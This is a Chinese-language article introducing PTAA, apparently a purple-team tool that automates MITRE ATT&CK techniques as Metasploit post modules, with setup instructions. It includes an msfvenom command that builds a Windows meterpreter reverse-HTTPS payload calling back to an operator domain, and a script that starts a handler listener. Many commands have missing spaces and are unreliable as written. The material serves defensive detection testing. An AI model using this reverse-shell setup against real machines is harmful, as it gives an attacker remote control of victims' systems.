PTAA:一款功能强大的紫队自动化渗透测试工具

为了评估安全检测与事件响应能力,我们正在尝试寻找一种自动化模拟对手攻击策略的方式。通过研究,我们设计出了MITRE ATT&CK™ TTPs,并以Metasploit Framework的模块形式呈现-post模块。目前,我们已经可以自动化模拟出超过100 种TTPs了。

Metasploit的优势就在于其稳定健壮且丰富的功能库,该框架所带的模块能够与操作系统API直接交互,而且灵活易于扩展。除此之外,我们还可以利用Metasploit的execute_powershell模块来模拟出类似.NET内存中执行之类的功能。这将允许蓝队确保他们的工具在检测到特定TTP行为时能够有效发出警报,并不会执行特定代码或操作。(例如已编码的PowerShell)

我们的工具基于最新版本的Metasploit开发(2019年4月9日版:【Metasploit下载地址】)。在实现自动化机制的过程中,我们尽可能地减少了对Metasploit框架源码的修改量,以此来保证用户能够体验到接近原生的Metasploit。

工具安装

C2服务器-注册并搭建一台云虚拟机设备:【GCP传送门】。

DNS-选择一个域名并在DNS中注册,推荐使用CloudFlare:【CloudFlare传送门】。

SSL-我们建议大家使用有效的SSL证书来进行测试操作,推荐使用LetsEncrypt:

exportDNS_NAME="mytestdomain.com"wgethttps://dl.eff.org/certbot-autochmoda+x ./certbot-auto./certbot-auto-q./certbot-autocertonly -d $DNS_NAME --standalone --register-unsafely-without-email -n--agree-tos

Debian/Ubuntu

安装源:https://github.com/rapid7/metasploit-framework/tree/master/docker

安装docker:

curl-fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -apt-keyfingerprint 0EBFCD88add-apt-repository\   "deb [arch=amd64]https://download.docker.com/linux/debian jessie stable"apt-get-y updateapt-get-y install docker-ce

获取项目源码:

git clone git@github.com:praetorian-inc/purple-team-attack-automation.gitcd purple-team-attack-automation

修改LHOST以及对外端口:

echo"version: '3'services:  ms:    environment:    # example of setting LHOST      LHOST: 0.0.0.0    # example of adding more ports    ports:      - 8080:8080      - 443:443      - 80:80"> docker-compose.local.override.yml

设置COMPOSE_FILE环境变量,加载本地文件:

echo"COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml">> .env

构建容器:

docker -composebuild

运行容器:

./docker/bin/msfconsole

修改metasploit目录权限:

chmod-R ugo+rw ~/.msf4Payloadcd ~curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb> msfinstall && \  chmod 755 msfinstall && \  ./msfinstallmsfvenom-p windows/x64/meterpreter_reverse_https lhost=mytestdomain.com lport=443 -ax64 -f exe HandlerSSLCert=~/purple-team-attack-automation/MSF.pemStagerVerifySSLCert=true -o ~/attack-testing.exe

监听器

你可以使用样本资源脚本来开启监听器:

$echo '<ruby>print_status("StartingHTTPS listener for Windows x64 meterpreter on port 443.")run_single("useexploit/multi/handler")run_single("setpayload windows/x64/meterpreter_reverse_https")run_single("setlport 443")run_single("setHandlerSSLCert MSF.pem")run_single("setExitOnSession false")run_single("setStagerVerifySSLCert true")run_single("exploit-j")</ruby>'> ~/purple-team-attack-automation/scripts/resource/windows_listener.rc

监听器开启后,payload将以管理员权限运行并发送回调信息。
